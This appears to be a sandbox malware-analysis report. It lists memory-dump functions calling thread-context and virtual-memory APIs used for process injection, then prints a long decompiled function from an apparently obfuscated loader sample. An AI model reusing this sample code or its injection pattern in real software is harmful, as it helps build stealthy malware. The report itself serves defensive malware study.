Opcode Fuzzy Hash: 1067cded6e643664d67198b7320c707370a199228e536ea61763dcb154715459
Instruction Fuzzy Hash: EC41F92170C606CEFF289E25C9AB7F92292AF97364F98432ACD47875E0D33584C4EA41

Uniqueness

Uniqueness Score: -1.00%

Function 02C182E6, Relevance: 1.6, APIs: 1, Instructions: 129nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 6adad268d0f2181644d3be1ed5714bede559b0416a331b994faaeec4604c8a2e
Instruction ID: df123fb4fd1d61a2383c93066d230ce1177a40585a576877453bab84f5882c9f
Opcode Fuzzy Hash: 6adad268d0f2181644d3be1ed5714bede559b0416a331b994faaeec4604c8a2e
Instruction Fuzzy Hash: 3341443260C305DEFF288E25CA977A536A2EF53B60FA9031ECC024B1E5D7319584EE41

Uniqueness

Uniqueness Score: -1.00%

Function 02C18336, Relevance: 1.6, APIs: 1, Instructions: 129nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: bed82f5a32031b4dbcac28905d8997fd46fab50a81d59d2770cb9163ddacfc4f
Instruction ID: b648a81e154b5ab2f6573c5194d60466b4c19e77d0dbded8c1bc9240c28e3ff2
Opcode Fuzzy Hash: bed82f5a32031b4dbcac28905d8997fd46fab50a81d59d2770cb9163ddacfc4f
Instruction Fuzzy Hash: 534146326086059EFF288E21CA977A536A2FF53B70FA5032ECD135B1E5D7319584EE41

Uniqueness

Uniqueness Score: -1.00%

Function 02C18382, Relevance: 1.6, APIs: 1, Instructions: 127nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: ce6489cb5d08de3c283f07d38e3266a07cecf4cc3439261fbceac656378143c6
Instruction ID: bb0f00aa49e893961b1ca30308fee8b3e78ef259a2f58aed712f66df3ac26f1e
Opcode Fuzzy Hash: ce6489cb5d08de3c283f07d38e3266a07cecf4cc3439261fbceac656378143c6
Instruction Fuzzy Hash: 134158326086059EFF288E21CA577A536A1FF53B70FA5031DCD135B1E5D7319584EE41

Uniqueness

Uniqueness Score: -1.00%

Function 02C183CF, Relevance: 1.6, APIs: 1, Instructions: 123nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 534b5a6e24509063d163668b448755862dc0cf0d91233754653e3748511c14fd
Instruction ID: 3d41dcbd8472ede591dbd453739380e8e2a35f0da57145c338cd5d52319f0ea0
Opcode Fuzzy Hash: 534b5a6e24509063d163668b448755862dc0cf0d91233754653e3748511c14fd
Instruction Fuzzy Hash: CA3157326086059EFF289E25CA977A536A2FF53B70FA5031DCC025B1E2D7319584EE41

Uniqueness

Uniqueness Score: -1.00%

Function 02C1841B, Relevance: 1.6, APIs: 1, Instructions: 114nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: dcbd6e40d26f0773a6b099f98664e7dc667429797e3513a27755016e93df51ac
Instruction ID: d9286f20b444c9af79b9c1e0a838444a1c9a74e47ef096e0dd19ac6a8dd9560b
Opcode Fuzzy Hash: dcbd6e40d26f0773a6b099f98664e7dc667429797e3513a27755016e93df51ac
Instruction Fuzzy Hash: 5F3166326087059EFF289E25CA977A536A2EF53B70FA5031ECC125B1E6D7309584EE41

Uniqueness

Uniqueness Score: -1.00%

Function 02C18462, Relevance: 1.6, APIs: 1, Instructions: 111nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 7809de763ae8998f2b6af0f7e79af6a9ef64455a992c890c5da6778ee4fa7fc8
Instruction ID: ed0511452e763286a90d3b12227f4a3bb2212a32da2c604dd3d54e0c7dcd6065
Opcode Fuzzy Hash: 7809de763ae8998f2b6af0f7e79af6a9ef64455a992c890c5da6778ee4fa7fc8
Instruction Fuzzy Hash: F43153326087059EFF289E21CA977A537A2EF53B70FA5031ECC124B1E6D731A584EE41

Uniqueness

Uniqueness Score: -1.00%

Function 02C134AB, Relevance: 1.6, APIs: 1, Instructions: 99nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02C13502

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 805b62ab1c6e6ed0f3fe9d2b161e9b2f373027dbf4253a249642061dcab70245
Instruction ID: 291262a14e45f1bcff202bcfb6a2696e8d293aa136d6db98bb3def00a9374cf7
Opcode Fuzzy Hash: 805b62ab1c6e6ed0f3fe9d2b161e9b2f373027dbf4253a249642061dcab70245
Instruction Fuzzy Hash: A331E132544248AEFF185E61CF437D97F76FF06B10F200228EE465B166DB72A958BE40

Uniqueness

Uniqueness Score: -1.00%

Function 02C18544, Relevance: 1.6, APIs: 1, Instructions: 88nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 75bca9da641716fc1152f525422a77f5caf697814e7ac08e57effdf9537c50aa
Instruction ID: 24d3ac6fc91542510bc2c20abeb21e361365f989100c5c97029625c44b7438b2
Opcode Fuzzy Hash: 75bca9da641716fc1152f525422a77f5caf697814e7ac08e57effdf9537c50aa
Instruction Fuzzy Hash: 772124229087059DFB18DE21C78779137A5EF53B74F690349CD125B1F6DB31A684EE40

Uniqueness

Uniqueness Score: -1.00%

Function 02C185ED, Relevance: 1.6, APIs: 1, Instructions: 60nativethreadCOMMON

Download Yara Rule

APIs

NtSetContextThread.NTDLL ref: 02C18657

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 5082898b3ca62bd6bb3776bdd15e06af413d625902111000be3ed1eba1140819
Instruction ID: 942ac989e52268d399c355baff97d5f5f1ebc8c664e215a0981a55c41ce58567
Opcode Fuzzy Hash: 5082898b3ca62bd6bb3776bdd15e06af413d625902111000be3ed1eba1140819
Instruction Fuzzy Hash: AB01C82355864169BB0CAE668B433952B66EE03F347A9030DCD231B1AAD73235049E04

Uniqueness

Uniqueness Score: -1.00%

Function 02C17BA6, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,02C176A9,00000040,02C12FE0,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02C17BC1

Memory Dump Source

Source File: 00000000.00000002.374612274.0000000002C10000.00000040.00000001.sdmp, Offset: 02C10000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 5bed15b80172f2e672e533971673771a0f847b7cf0f24a20f28b0545e0ae9f69
Instruction ID: 81b4d3dd896bbc615aa7056a37ab9fa6f933f492036f104ef25581d5b715190c
Opcode Fuzzy Hash: 5bed15b80172f2e672e533971673771a0f847b7cf0f24a20f28b0545e0ae9f69
Instruction Fuzzy Hash: 72C012E02240003E68048A68CD48C2BB2AA86D8A28B10C32DB832222CCC930EC048632

Uniqueness

Uniqueness Score: -1.00%

Function 0040F8F4, Relevance: 206.1, APIs: 109, Strings: 8, Instructions: 1308
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0040F8F4(void* __ebx, void* __edi, void* __esi, char __fp0, signed int _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v56;
				long long _v64;
				short _v76;
				intOrPtr _v80;
				char _v84;
				short _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v128;
				intOrPtr _v132;
				char _v136;
				intOrPtr _v140;
				signed int _v144;
				signed int _v148;
				char _v152;
				char _v156;
				char _v160;
				char _v164;
				char _v168;
				intOrPtr _v180;
				char _v188;
				char _v204;
				char _v224;
				signed int _v232;
				char _v240;
				intOrPtr _v248;
				char _v256;
				signed int _v264;
				char _v272;
				char _v276;
				char _v280;
				char _v284;
				char _v288;
				char _v292;
				char _v296;
				intOrPtr _v300;
				char _v304;
				long long _v312;
				intOrPtr _v316;
				char _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				intOrPtr* _v340;
				signed int _v344;
				signed int _v348;
				char _v364;
				char _v380;
				signed int _v392;
				char* _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				intOrPtr* _v424;
				signed int _v428;
				intOrPtr* _v432;
				signed int _v436;
				char _v440;
				signed int _v444;
				char _v448;
				signed int _v452;
				signed int _v456;
				intOrPtr* _v460;
				signed int _v464;
				intOrPtr* _v468;
				signed int _v472;
				signed int _v476;
				intOrPtr* _v480;
				signed int _v484;
				signed int _v488;
				intOrPtr* _v492;
				signed int _v496;
				signed int _v500;
				intOrPtr* _v504;
				signed int _v508;
				intOrPtr* _v512;
				signed int _v516;
				intOrPtr* _v520;
				signed int _v524;
				char _v528;
				signed int _v532;
				intOrPtr* _v536;
				signed int _v540;
				intOrPtr* _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				signed int _v560;
				intOrPtr* _v564;
				signed int _v568;
				intOrPtr* _v572;
				signed int _v576;
				intOrPtr* _v580;
				signed int _v584;
				intOrPtr* _v588;
				signed int _v592;
				intOrPtr* _v596;
				signed int _v600;
				signed int _v604;
				signed int _t667;
				signed int _t670;
				signed int _t674;
				signed int _t681;
				signed int _t685;
				signed int _t689;
				signed int _t693;
				char* _t694;
				signed int _t711;
				signed int _t715;
				signed int _t719;
				char* _t721;
				signed int _t726;
				signed int _t733;
				signed int _t737;
				signed int _t742;
				signed int _t751;
				signed int _t755;
				signed int _t767;
				signed int _t771;
				char* _t785;
				signed int _t789;
				signed int _t793;
				signed int _t805;
				signed int _t809;
				signed int _t813;
				signed int _t817;
				char* _t821;
				signed int _t825;
				signed int _t834;
				signed int _t843;
				signed int _t846;
				signed int _t850;
				signed int _t854;
				signed int _t862;
				signed int _t866;
				signed int _t874;
				signed int _t878;
				signed int _t882;
				signed int _t886;
				char* _t890;
				signed int _t894;
				signed int _t903;
				signed int _t921;
				void* _t923;
				char* _t924;
				signed int _t927;
				signed int _t933;
				signed int _t937;
				signed int _t947;
				char* _t959;
				intOrPtr _t969;
				intOrPtr _t978;
				char* _t1027;
				void* _t1040;
				void* _t1042;
				intOrPtr _t1043;
				void* _t1044;
				intOrPtr* _t1046;
				long long* _t1047;
				void* _t1048;
				void* _t1049;
				void* _t1050;
				signed int _t1058;
				char _t1079;

				_t1079 = __fp0;
				_t1043 = _t1042 - 0xc;
				 *[fs:0x0] = _t1043;
				L004012C0();
				_v16 = _t1043;
				_v12 = 0x401190;
				_v8 = _a4 & 0x00000001;
				_a4 = _a4 & 0x000000fe;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012c6, _t1040);
				if( *0x414010 != 0) {
					_v424 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v424 = 0x414010;
				}
				_t667 =  &_v160;
				L00401440();
				_v324 = _t667;
				_t670 =  *((intOrPtr*)( *_v324 + 0x20c))(_v324, _t667,  *((intOrPtr*)( *((intOrPtr*)( *_v424)) + 0x308))( *_v424));
				asm("fclex");
				_v328 = _t670;
				if(_v328 >= 0) {
					_v428 = _v428 & 0x00000000;
				} else {
					_push(0x20c);
					_push(0x404b5c);
					_push(_v324);
					_push(_v328);
					L00401434();
					_v428 = _t670;
				}
				L0040142E();
				_v232 = 0x404b70;
				_v240 = 8;
				_t959 =  &_v188;
				L0040141C();
				_push(2);
				_push( &_v188);
				_push( &_v204);
				L00401422();
				_v248 = 0x404b7c;
				_v256 = 0x8008;
				_push( &_v204);
				_t674 =  &_v256;
				_push(_t674);
				L00401428();
				_v324 = _t674;
				_push( &_v204);
				_push( &_v188);
				_push(2);
				L00401416();
				_t1044 = _t1043 + 0xc;
				if(_v324 != 0) {
					if( *0x414010 != 0) {
						_v432 = 0x414010;
					} else {
						_push(0x414010);
						_push(0x403fb4);
						L0040143A();
						_v432 = 0x414010;
					}
					_t933 =  &_v160;
					L00401440();
					_v324 = _t933;
					_t937 =  *((intOrPtr*)( *_v324 + 0x110))(_v324,  &_v144, _t933,  *((intOrPtr*)( *((intOrPtr*)( *_v432)) + 0x300))( *_v432));
					asm("fclex");
					_v328 = _t937;
					if(_v328 >= 0) {
						_v436 = _v436 & 0x00000000;
					} else {
						_push(0x110);
						_push(0x404b80);
						_push(_v324);
						_push(_v328);
						L00401434();
						_v436 = _t937;
					}
					if( *0x414650 != 0) {
						_v440 = 0x414650;
					} else {
						_push(0x414650);
						_push(0x404ba0);
						L0040143A();
						_v440 = 0x414650;
					}
					_t62 =  &_v440; // 0x414650
					_v332 =  *((intOrPtr*)( *_t62));
					_v392 = _v144;
					_v144 = _v144 & 0x00000000;
					_v180 = _v392;
					_v188 = 8;
					_v232 = 0x9d;
					_v240 = 2;
					L004012C0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004012C0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t947 =  *((intOrPtr*)( *_v332 + 0x38))(_v332, 0x10, 0x10,  &_v204);
					asm("fclex");
					_v336 = _t947;
					_t1058 = _v336;
					if(_t1058 >= 0) {
						_v444 = _v444 & 0x00000000;
					} else {
						_push(0x38);
						_push(0x404b90);
						_push(_v332);
						_push(_v336);
						L00401434();
						_v444 = _t947;
					}
					_push( &_v204);
					_push( &_v224);
					L0040140A();
					_push( &_v224);
					_push( &_v92);
					L00401410();
					_t959 =  &_v160;
					L0040142E();
					_push( &_v204);
					_push( &_v188);
					_push(2);
					L00401416();
					_t1044 = _t1044 + 0xc;
				}
				asm("fldz");
				_push(_t959);
				_push(_t959);
				_v84 = _t1079;
				L004013FE();
				L00401404();
				asm("fcomp qword [0x401188]");
				asm("fnstsw ax");
				asm("sahf");
				if(_t1058 != 0) {
					if( *0x414650 != 0) {
						_v448 = 0x414650;
					} else {
						_push(0x414650);
						_push(0x404ba0);
						L0040143A();
						_v448 = 0x414650;
					}
					_t95 =  &_v448; // 0x414650
					_v324 =  *((intOrPtr*)( *_t95));
					_t921 =  *((intOrPtr*)( *_v324 + 0x1c))(_v324,  &_v160);
					asm("fclex");
					_v328 = _t921;
					if(_v328 >= 0) {
						_v452 = _v452 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x404b90);
						_push(_v324);
						_push(_v328);
						L00401434();
						_v452 = _t921;
					}
					_v332 = _v160;
					_v232 = _v232 & 0x00000000;
					_v240 = 2;
					_t923 = 0x10;
					L004012C0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004013F8();
					_t924 =  &_v164;
					L00401440();
					_t927 =  *((intOrPtr*)( *_v332 + 0x58))(_v332, _t924, _t924, _t923, _v96, 0x404bb0);
					asm("fclex");
					_v336 = _t927;
					if(_v336 >= 0) {
						_v456 = _v456 & 0x00000000;
					} else {
						_push(0x58);
						_push(0x404bc0);
						_push(_v332);
						_push(_v336);
						L00401434();
						_v456 = _t927;
					}
					_push( &_v160);
					_push( &_v164);
					_push(2);
					L004013F2();
					_t1044 = _t1044 + 0xc;
				}
				if( *0x414010 != 0) {
					_v460 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v460 = 0x414010;
				}
				_t681 =  &_v160;
				L00401440();
				_v324 = _t681;
				_t685 =  *((intOrPtr*)( *_v324 + 0x160))(_v324,  &_v280, _t681,  *((intOrPtr*)( *((intOrPtr*)( *_v460)) + 0x304))( *_v460));
				asm("fclex");
				_v328 = _t685;
				if(_v328 >= 0) {
					_v464 = _v464 & 0x00000000;
				} else {
					_push(0x160);
					_push(0x404bd0);
					_push(_v324);
					_push(_v328);
					L00401434();
					_v464 = _t685;
				}
				if( *0x414010 != 0) {
					_v468 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v468 = 0x414010;
				}
				_t689 =  &_v164;
				L00401440();
				_v332 = _t689;
				_t693 =  *((intOrPtr*)( *_v332 + 0x130))(_v332,  &_v168, _t689,  *((intOrPtr*)( *((intOrPtr*)( *_v468)) + 0x30c))( *_v468));
				asm("fclex");
				_v336 = _t693;
				if(_v336 >= 0) {
					_v472 = _v472 & 0x00000000;
				} else {
					_push(0x130);
					_push(0x404b5c);
					_push(_v332);
					_push(_v336);
					L00401434();
					_v472 = _t693;
				}
				_t694 =  &_v188;
				L004013E6();
				L004013EC();
				_v288 = _t694;
				_v284 = _v280;
				_v276 = 0x42c;
				_v304 = 0x7916fdf0;
				_v300 = 0x5af4;
				 *((intOrPtr*)( *_a4 + 0x718))(_a4,  &_v304,  &_v276,  &_v284, 0x3a12e9e0, 0x5af7,  &_v288, _t694, _t694, _v168, 0, 0);
				L004013F2();
				_t1046 = _t1044 + 0x20;
				L004013E0();
				_v280 = 0xfb5bd118;
				_v276 = 0x3577;
				 *_t1046 =  *0x401180;
				_t711 =  *((intOrPtr*)( *_a4 + 0x6f8))(_a4,  &_v276,  &_v188,  &_v280, L"tirelingfantasiernesa",  &_v284, 3,  &_v160,  &_v164,  &_v168);
				_v324 = _t711;
				if(_v324 >= 0) {
					_v476 = _v476 & 0x00000000;
				} else {
					_push(0x6f8);
					_push(0x4047f0);
					_push(_a4);
					_push(_v324);
					L00401434();
					_v476 = _t711;
				}
				_v136 = _v284;
				if( *0x414010 != 0) {
					_v480 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v480 = 0x414010;
				}
				_t969 =  *((intOrPtr*)( *_v480));
				_t715 =  &_v160;
				L00401440();
				_v324 = _t715;
				_t719 =  *((intOrPtr*)( *_v324 + 0x110))(_v324,  &_v164, _t715,  *((intOrPtr*)(_t969 + 0x304))( *_v480));
				asm("fclex");
				_v328 = _t719;
				if(_v328 >= 0) {
					_v484 = _v484 & 0x00000000;
				} else {
					_push(0x110);
					_push(0x404bd0);
					_push(_v324);
					_push(_v328);
					L00401434();
					_v484 = _t719;
				}
				L004013E6();
				_t1047 = _t1046 + 0x10;
				_t721 =  &_v188;
				L004013EC();
				_v280 = _t721;
				 *_t1047 =  *0x401178;
				_t726 =  *((intOrPtr*)( *_a4 + 0x6fc))(_a4,  &_v280, _t969, _t969,  &_v276, _t721,  &_v188, _v164, 0, 0);
				_v332 = _t726;
				if(_v332 >= 0) {
					_v488 = _v488 & 0x00000000;
				} else {
					_push(0x6fc);
					_push(0x4047f0);
					_push(_a4);
					_push(_v332);
					L00401434();
					_v488 = _t726;
				}
				_v76 = _v276;
				_push( &_v164);
				_push( &_v160);
				_push(2);
				L004013F2();
				_t1048 = _t1047 + 0xc;
				L004013E0();
				if( *0x414010 != 0) {
					_v492 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v492 = 0x414010;
				}
				_t733 =  &_v160;
				L00401440();
				_v324 = _t733;
				_t737 =  *((intOrPtr*)( *_v324 + 0x170))(_v324,  &_v144, _t733,  *((intOrPtr*)( *((intOrPtr*)( *_v492)) + 0x300))( *_v492));
				asm("fclex");
				_v328 = _t737;
				if(_v328 >= 0) {
					_v496 = _v496 & 0x00000000;
				} else {
					_push(0x170);
					_push(0x404b80);
					_push(_v324);
					_push(_v328);
					L00401434();
					_v496 = _t737;
				}
				_v304 =  *0x401170;
				_t1027 = L"tirelingfantasiernesa";
				L004013DA();
				_t742 =  *((intOrPtr*)( *_a4 + 0x700))(_a4, _v144,  &_v148, 0x510a5b,  &_v304);
				_v332 = _t742;
				if(_v332 >= 0) {
					_v500 = _v500 & 0x00000000;
				} else {
					_push(0x700);
					_push(0x4047f0);
					_push(_a4);
					_push(_v332);
					L00401434();
					_v500 = _t742;
				}
				L004013D4();
				_t1049 = _t1048 + 0xc;
				L0040142E();
				 *((intOrPtr*)( *_a4 + 0x71c))(_a4, 2,  &_v144,  &_v148);
				if( *0x414010 != 0) {
					_v504 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v504 = 0x414010;
				}
				_t978 =  *((intOrPtr*)( *_v504));
				_t751 =  &_v160;
				L00401440();
				_v324 = _t751;
				_t755 =  *((intOrPtr*)( *_v324 + 0x48))(_v324,  &_v144, _t751,  *((intOrPtr*)(_t978 + 0x2fc))( *_v504));
				asm("fclex");
				_v328 = _t755;
				if(_v328 >= 0) {
					_v508 = _v508 & 0x00000000;
				} else {
					_push(0x48);
					_push(0x404be0);
					_push(_v324);
					_push(_v328);
					L00401434();
					_v508 = _t755;
				}
				_v296 =  *0x401168;
				 *((intOrPtr*)( *_a4 + 0x720))(_a4, 0xfd478f20, 0x5af6, _v144, _t978, _t978);
				L004013CE();
				L0040142E();
				_v276 = 0x2170;
				_v304 =  *0x401160;
				_v336 =  *0x401158;
				 *((intOrPtr*)( *_a4 + 0x724))(_a4,  &_v160,  &_v304, 0xf47bc740, 0x5af5,  &_v276, L"Deiform");
				if( *0x414010 != 0) {
					_v512 = 0x414010;
				} else {
					_push(0x414010);
					_push(0x403fb4);
					L0040143A();
					_v512 = 0x414010;
				}
				_t767 =  &_v160;
				L00401440();
				_v324 = _t767;
				_t771 =  *((intOrPtr*)( *_v324 + 0xf8))(_v324,  &_v276, _t767,  *((intOrPtr*)( *((intOrPtr*)( *_v512)) + 0x300))( *_v512));
				asm("fclex");
				_v328 = _t771;
				if(_v328 >= 0) {
					_v516 = _v516 & 0x00000000;
				} else {
					_push(0xf8);
					_push(0x404b80);
					_push(_v324);
					_push(_v328);
					L00401434();
					_v516 = _t771;
				}
				_v312 =  *0x401150;
				_v304 = 0x90a777c0;
				_v300 = 0x5afd;
				 *((intOrPtr*)( *_a4 + 0x728))(_a4,  &_v304,  &_v312, _v276,  &_v320);
				_v132 = _v320;
				_v128 = _v316;
				L0040142E();
				_v232 = 1;
				_v240 = 2;
				_v248 = 0xa10f;
				_v256 = 3;
				_v264 = _v264 & 0x00000000;
				_v272 = 2;
				_push( &_v240);
				_push( &_v256);
				_push( &_v272);
				_push( &_v380);
				_push( &_v364);
				_t785 =  &_v56;
				_push(_t785);
				L004013C8();
				_v396 = _t785;
				while(_v396 != 0) {
					if( *0x414010 != 0) {
						_v520 = 0x414010;
					} else {
						_push(0x414010);
						_push(0x403fb4);
						L0040143A();
						_v520 = 0x414010;
					}
					_t789 =  &_v160;
					L00401440();
					_v324 = _t789;
					_t793 =  *((intOrPtr*)( *_v324 + 0x1c0))(_v324,  &_v144, _t789,  *((intOrPtr*)( *((intOrPtr*)( *_v520)) + 0x30c))( *_v520));
					asm("fclex");
					_v328 = _t793;
					if(_v328 >= 0) {
						_v524 = _v524 & 0x00000000;
					} else {
						_push(0x1c0);
						_push(0x404b5c);
						_push(_v324);
						_push(_v328);
						L00401434();
						_v524 = _t793;
					}
					_v280 = 0x1d251a;
					_v400 = _v144;
					_v144 = _v144 & 0x00000000;
					L004013C2();
					 *((intOrPtr*)( *_a4 + 0x72c))(_a4,  &_v148, 0x363e,  &_v280,  &_v276);
					_v88 = _v276;
					L004013CE();
					L0040142E();
					if( *0x414010 != 0) {
						_v528 = 0x414010;
					} else {
						_push(0x414010);
						_push(0x403fb4);
						L0040143A();
						_v528 = 0x414010;
					}
					_t805 =  &_v160;
					L00401440();
					_v324 = _t805;
					_t809 =  *((intOrPtr*)( *_v324 + 0x88))(_v324,  &_v280, _t805,  *((intOrPtr*)( *((intOrPtr*)( *_v528)) + 0x308))( *_v528));
					asm("fclex");
					_v328 = _t809;
					if(_v328 >= 0) {
						_v532 = _v532 & 0x00000000;
					} else {
						_push(0x88);
						_push(0x404b5c);
						_push(_v324);
						_push(_v328);
						L00401434();
						_v532 = _t809;
					}
					if( *0x414010 != 0) {
						_v536 = 0x414010;
					} else {
						_push(0x414010);
						_push(0x403fb4);
						L0040143A();
						_v536 = 0x414010;
					}
					_t813 =  &_v164;
					L00401440();
					_v332 = _t813;
					_t817 =  *((intOrPtr*)( *_v332 + 0x48))(_v332,  &_v144, _t813,  *((intOrPtr*)( *((intOrPtr*)( *_v536)) + 0x30c))( *_v536));
					asm("fclex");
					_v336 = _t817;
					if(_v336 >= 0) {
						_v540 = _v540 & 0x00000000;
					} else {
						_push(0x48);
						_push(0x404b5c);
						_push(_v332);
						_push(_v336);
						L00401434();
						_v540 = _t817;
					}
					if( *0x414010 != 0) {
						_v544 = 0x414010;
					} else {
						_push(0x414010);
						_push(0x403fb4);
						L0040143A();
						_v544 = 0x414010;
					}
					_t821 =  &_v168;
					L00401440();
					_v340 = _t821;
					_t825 =  *((intOrPtr*)( *_v340 + 0x80))(_v340,  &_v284, _t821,  *((intOrPtr*)( *((intOrPtr*)( *_v544)) + 0x30c))( *_v544));
					asm("fclex");
					_v344 = _t825;
					if(_v344 >= 0) {
						_v548 = _v548 & 0x00000000;
					} else {
						_push(0x80);
						_push(0x404b5c);
						_push(_v340);
						_push(_v344);
						L00401434();
						_v548 = _t825;
					}
					_v292 = _v284;
					_v288 = 0x239160;
					_v404 = _v144;
					_v144 = _v144 & 0x00000000;
					L004013C2();
					_v276 = 0x6dca;
					_v528 = _v280;
					_t834 =  *((intOrPtr*)( *_a4 + 0x704))(_a4,  &_v276,  &_v148,  &_v148, L"Rentetabets8",  &_v288,  &_v292,  &_v296);
					_v348 = _t834;
					if(_v348 >= 0) {
						_v552 = _v552 & 0x00000000;
					} else {
						_push(0x704);
						_push(0x4047f0);
						_push(_a4);
						_push(_v348);
						L00401434();
						_v552 = _t834;
					}
					_v84 = _v296;
					L004013CE();
					L004013F2();
					_t1050 = _t1049 + 0x10;
					_v276 = 0x3205;
					_v304 = 0x1e0e4f40;
					_v300 = 0x5afd;
					_t843 =  *((intOrPtr*)( *_a4 + 0x708))(_a4,  &_v304,  &_v276, 3,  &_v160,  &_v164,  &_v168);
					_v324 = _t843;
					if(_v324 >= 0) {
						_v556 = _v556 & 0x00000000;
					} else {
						_push(0x708);
						_push(0x4047f0);
						_push(_a4);
						_push(_v324);
						L00401434();
						_v556 = _t843;
					}
					_t846 =  *((intOrPtr*)( *_a4 + 0x70c))(_a4);
					_v324 = _t846;
					if(_v324 >= 0) {
						_v560 = _v560 & 0x00000000;
					} else {
						_push(0x70c);
						_push(0x4047f0);
						_push(_a4);
						_push(_v324);
						L00401434();
						_v560 = _t846;
					}
					if( *0x414010 != 0) {
						_v564 = 0x414010;
					} else {
						_push(0x414010);
						_push(0x403fb4);
						L0040143A();
						_v564 = 0x414010;
					}
					_t850 =  &_v160;
					L00401440();
					_v324 = _t850;
					_t854 =  *((intOrPtr*)( *_v324 + 0x70))(_v324,  &_v280, _t850,  *((intOrPtr*)( *((intOrPtr*)( *_v564)) + 0x300))( *_v564));
					asm("fclex");
					_v328 = _t854;
					if(_v328 >= 0) {
						_v568 = _v568 & 0x00000000;
					} else {
						_push(0x70);
						_push(0x404b80);
						_push(_v324);
						_push(_v328);
						L00401434();
						_v568 = _t854;
					}
					_v284 = _v280;
					 *((intOrPtr*)( *_a4 + 0x730))(_a4, 0x6696, 0x214d, 0x6eeb5d50, 0x5b06, L"homoeopathist",  &_v284);
					L0040142E();
					if( *0x414010 != 0) {
						_v572 = 0x414010;
					} else {
						_push(0x414010);
						_push(0x403fb4);
						L0040143A();
						_v572 = 0x414010;
					}
					_t862 =  &_v160;
					L00401440();
					_v324 = _t862;
					_t866 =  *((intOrPtr*)( *_v324 + 0x198))(_v324,  &_v280, _t862,  *((intOrPtr*)( *((intOrPtr*)( *_v572)) + 0x308))( *_v572));
					asm("fclex");
					_v328 = _t866;
					if(_v328 >= 0) {
						_v576 = _v576 & 0x00000000;
					} else {
						_push(0x198);
						_push(0x404b5c);
						_push(_v324);
						_push(_v328);
						L00401434();
						_v576 = _t866;
					}
					 *((intOrPtr*)( *_a4 + 0x734))(_a4, 0x4551, 0xf4efc850, 0x5b01, 0x1ac448, _v280, 0x38500,  &_v284);
					_v140 = _v284;
					L0040142E();
					if( *0x414010 != 0) {
						_v580 = 0x414010;
					} else {
						_push(0x414010);
						_push(0x403fb4);
						L0040143A();
						_v580 = 0x414010;
					}
					_t874 =  &_v160;
					L00401440();
					_v324 = _t874;
